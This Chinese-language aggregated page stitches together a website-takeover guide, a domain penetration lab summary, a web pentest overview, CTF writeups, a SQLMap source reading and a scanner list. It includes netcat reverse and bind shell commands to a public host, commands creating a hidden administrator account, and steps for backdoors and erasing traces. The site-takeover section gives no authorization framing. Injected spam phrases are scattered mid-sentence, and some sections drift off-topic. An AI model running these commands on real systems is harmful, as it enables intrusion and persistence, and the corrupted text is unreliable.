1.拿站的查源步骤分几步
2.域渗透之外网打点到三层内网
3.web渗透是什么?
4.攻防世界[Web]-高手进阶
5.SQLMap 源码阅读
6.DVWA实战篇12分钟学会 SQL 注入攻击实战
拿站的步骤分几步
下面我就把我拿站的步骤给说一下。
第一:找后台。代码利用所知道的查源所有知识找后台。工具,代码猜目录。查源等等 (工具:啊D 明小子 萝卜 清凉的代码blibli源码目录扫描软件 )
第二:后台找到了那么就社工下,看看能不能利用弱口令或者万能进去。查源进去就好说了直接拿SHELL。代码但是查源若口令不行只有其他办法了。
第三:找SQL注射点。代码GOOGLE语法 sqlmap 手工 WVS 等等,查源都可以帮大家找 。代码
第四:没有注射,查源旁注。代码 明小子就有这个功能。查源还有就是www.bing.com 这个网站,ip.wen.la
都是找旁注不错的方法。
第五:没旁注 ,那就得看服务器了 ,开启了什么端口。比如 什么的。这些端口大家懂的。FTP是有办法爆破的。
第六:敏感端口没有开启。那就返回来继续观察网站。看下网站的设计。有什么网站是和这个网站是一样的。可以拿下那个网站下载下源码查看下有什么漏洞。
总结:据我所知一般的网站都是有XSS漏洞的。虽然没多少权限,但是多数前台权限还是有的。
最后说下要学习渗透的步骤。这个只是我自己的想法。
各种工具利用----了解各种数据库(access mysql mssql )-----手工学习(更容易了解网站原理)----做笔记(把自己拿站的笔记记下,拿复杂的站会有用的。)暂时就说这么多了。
域渗透之外网打点到三层内网
本次项目模拟渗透测试人员在授权的情况下,对目标进行渗透测试,从外网打点到内网横向渗透,最终获取整个内网权限。项目属于三层代理内网穿透,涵盖内网穿透技术、工具利用、拜佛求签源码程序手写exp、外网打点方法、流行内网渗透测试办法等,对个人提升很有帮助。
在VPS映射部分,首先将内网IP映射到公网,使用frp工具实现。在公网VPS上运行frps.exe -c frps.ini,web1上运行frpc.ini,成功访问到环境。
信息收集方面,端口探测显示、、、、端口开放,网站源代码查找后发现网上银行系统,通过弱口令和暴力破解未能爆破出用户,但在GitHub上找到源码,发现数据库文件包含普通和管理员账户信息。
SQL注入测试发现存在Hsql注入漏洞,使用sqlmap无法获取用户名和密码,于是编写脚本成功跑出密码并登录。在另一个地址的tomexam系统中,注册用户后发现存在SQL注入,使用sqlmap获取用户信息,通过解密脚本成功登录管理员后台。
针对jspxcms-SQL注入,首页允许注册和登录,搜索历史漏洞后发现可以通过文件上传实现getshell,使用sqlmap查找表、用户和密码。登录后编写目录穿越脚本成功上传,获取webshell并使用哥斯拉连接。
内网渗透中,首先配置内网cobalt strike上线,使用frp反向代理实现。使用shell iponfig收集信息,测试与其他域内主机的连通性,查看计算机名,发现无法找到域内其他主机。查看server的表格 安卓源码IP地址,发现存在Mysql端口,尝试暴力破解后成功获取账号和密码,使用mysql用户登录Mssql服务器,通过xp_cmshell进行信息收集,使用certutil远程下载木马实现上线。
在域渗透阶段,使用net view查看域内主机,使用hashdump抓取用户hash值,获取域控IP地址和计算机名。编译并测试zerolgin脚本,将其设置为空密码。配置kali代理,获取域控hash值并登录,关闭防火墙使用pth上线cs,生成tcp监听后jump到域控主机,成功恢复密码并获取hash值。
项目涉及环境搭建、信息收集、工具利用、手写exp、外网打点、内网穿透、内网渗透、域渗透等全面技术,是一次从外网到内网、再到域控的完整渗透测试演练。尽管靶机未安装杀软,但此过程展示了从外网到内网、再到域控的广泛知识和技能。
web渗透是什么?
Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。科研系统平台源码一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。
信息收集
信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。
DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)
整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;
网站常见搭配为:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目录信息(御剑,dirbust)
开放端口信息(nmp)
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。
常见漏洞:
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
后台密码爆破(burp)
端口爆破(hydra)
提权
获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的网页版轰炸源码exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法:
反向连接
在公网主机上进行监听:
nc-lvp
在内网主机上执行:
nc-e cmd.exe 公网主机ip
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行:
nc-l -p -t -e cmd.exe
本地主机上执行:
nc-vv 远程主机ip
成功后,本地主机即可远程主机的一个shell
然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马,留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工:
netuser test$ /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。
攻防世界[Web]-高手进阶
对于"攻防世界[Web]-高手进阶"的文章内容,我们进行
在解题过程中,避免每次修改顺序的麻烦,去掉题目编号,多用搜索功能。对于初始页面,通常为index.php,但在本题中为1.php,通过URL输入index.php会自动跳转至此。使用burpsuite抓包查看响应头,通过在URL中访问index.php进行分析。
页面提示说明robots.txt的作用和可能的风险,尝试直接访问robots.txt文件,找到flag.php。robots.txt虽为爬虫规则,但flag.php仍可直接通过浏览器访问,从而获得flag。
对于未解出的题目PHP2,标记并分析。页面源码和HTTP报文无有用信息,尝试robots.txt、login.php、admin.php等文件,均不存在。通过写入phps[1]文件查看源代码,发现需id="admin",通过两次url编码方式提交获取flag。
PHP_rce题目页面为ThinkPHP5默认页面,查找漏洞信息,验证题目漏洞并构造payload,成功验证并修改payload找到flag。
对于Web_php_include,通过检查元素无直接信息,发现获取用GET方式传递的page参数,删除php://字段,最后include内容。了解include函数后,使用data://协议构造payload,直接查找flag。
supersqli题目提示SQL注入,尝试后发现存在注入。使用sqlmap扫描,结果为MariaDB数据库和root用户。查看WriteUp后,补充知识点。
upload1题目为文件上传漏洞,前端过滤文件,查看源代码后,删除上传按钮的disabled属性实现上传。上传成功后,使用一句话木马来查找flag文件。
Web_php_unserialize题目,读取代码后,通过GET方法传递base编码的序列化对象。分析代码,创建Demo实例,序列化后获取payload。
ics-题目,给出网站,仅一个可访问页面,尝试SQL注入未果。查看WriteUp后,发现是暴力破解。
warmup题目,代码审计提示flag位于特定文件路径,通过提交file参数,检查checkFile函数逻辑,发现字符串截取逻辑错误。构造payload绕过,修改后拿到flag,了解php路径解析过程。
SQLMap 源码阅读
本文主要解析了SQLMap的源码阅读流程。首先,我们确认了SQLMap运行的流程图,这有助于我们深入理解源码。在开始SQLMap运行前,程序进行一系列初始化操作,包括环境设置、依赖加载、变量配置等。
接下来,我们处理URL。通过cmdLineParser()从命令行获取参数,进而通过initOptions(cmdLineOptions)解析这些命令行参数。初始化函数中,通过loadBoundaries()、loadPayloads()、_loadQueries()加载payload,这些函数负责从XML文件中加载边界、payload和查询。在loadBoundaries()中,程序读取data/xml/boundaries.xml文件并解析其中的XML,将结果添加到conf对象的tests属性中。conf对象存储了目标的相关信息以及配置信息。
在URL处理阶段,程序通过getCurrentThreadData()获取当前线程数据,并调用f(*args, **kwargs)进行处理。这里的逻辑位于/lib/controller/controller.py文件下,主要工作包括打印日志、赋值和添加HTTP Header等,最终到达parseTargetUrl()函数。在该函数中,程序进行URL的剖析与拆解,并将这些内容保存到conf对象的对应属性中,以便后续使用。
接着,SQLMap会生成注入检测的payload,核心代码位于controller.py文件的行。在setupTargetEnv()函数中,程序调用hashDBRetrieve()函数,根据参数KB_INJECTIONS检索payload。payload生成逻辑在第行,执行SQL语句并使用basePickle进行加密。最终,程序生成payload并进行探测,如果目标返回Connection refused,则返回False。
在WAF检测部分,当URL处理完毕后,程序进行探测,判断目标是否存在WAF。如果存在WAF,则生成用于fuzz的payload,这个payload基于mon.php文件,发现Qry和Qrc函数为正常数据库操作,而Req函数只是一种接受参数的方式。但函数内有Rpl函数,它进行了字符串替换,替换了加号、空格等字符。
在SQL语句中,$n通过"."进行拼接,无需单引号或双引号闭合。我构造了payload进行注入尝试,发现可以成功绕过Rpl函数。
为了验证,我使用了SQLMAP工具并找到了一个空格替换为/**/的tamper。通过运行sqlmap构造参数,我成功找到了数据库test2中的xxx_admin表及其字段Nm和Np的内容。
最后,我总结了这次审计的经验,强调了使用过滤方法,如PDO预编译,来修复漏洞的重要性。文章源于微信公众号(米瑞尔信息安全),由作者啊giao撰写。
6款较流行的开源漏洞扫描工具推荐及特点分析
漏洞扫描是网络安全的重要一环,未修复的漏洞是网络犯罪分子的攻击目标。企业数据安全事件往往源于已知漏洞,尽管有补丁,仍可能无法及时发现和修复。开源漏洞扫描工具因其开放源代码特性、社区支持和更新频度,在组织中广泛应用。本文推荐并分析了6款流行的开源漏洞扫描工具。
1. **Nmap**:一款自动化安全测试工具,适用于各种操作系统,快速扫描大型网络,检测开放端口、服务、操作系统版本等信息。功能全面,易于上手,且拥有庞大的用户群。
主要特点:快速端口查询、基于协议的扫描、广泛的功能和工具、持续增长的检测脚本库、兼容所有开放端口的设备。
不足:无正式客户支持,需一定经验或编程能力。
2. **OpenVAS**:提供全面渗透测试能力,支持未经身份验证的测试、目标扫描和Web漏洞扫描,源自Nessus,现为Tenable的商业化产品。更新频繁,免费版本功能全面。
主要特点:每日更新威胁信息源、功能全面、多系统扫描、主流社区支持、上下文信息丰富。
不足:专业门槛高、多任务扫描可能崩溃、高级功能需付费。
3. **ZAP**:Zed Attack Proxy(ZAP)为渗透测试提供了友好的界面和自动化扫描器,同时也支持手动查找漏洞。具备DAST能力,可模拟用户行为进行漏洞测试。
主要特点:自动化扫描、手动工具、API和Docker集成、Crash Override奖学金支持、广泛使用。
不足:部分功能需插件、专业知识要求、误报率较高。
4. **OSV-Scanner**:由谷歌开发的开源工具,用于静态软件组成分析,检测编程代码安全漏洞,支持多种编程语言,获取大量漏洞信息,支持API和GitHub集成。
主要特点:支持多种编程语言、大量信息源、API和GitHub集成、JSON存储。
不足:仅检查开源库漏洞、新工具,未纳入主流认证。
5. **CloudSploit**:Aqua公司维护的开源云基础设施扫描工具,持续监控云环境,发送实时警报,检查云和容器部署漏洞及常见配置错误。
主要特点:扫描多云环境、实时警报、API调用、广泛云支持。
不足:某些功能需付费、需与其他安全工具结合、专注于公有云。
6. **sqlmap**:专注于数据库漏洞扫描的工具,自动化SQL注入测试,支持多种数据库服务器,具备强大测试引擎,识别多种注入攻击。
主要特点:DBMS连接测试、命令行操作、多种SQL注入类型支持、密码哈希和破解功能、多种数据库管理系统支持。
不足:命令行操作、仅针对数据库漏洞、需数据库专业知识。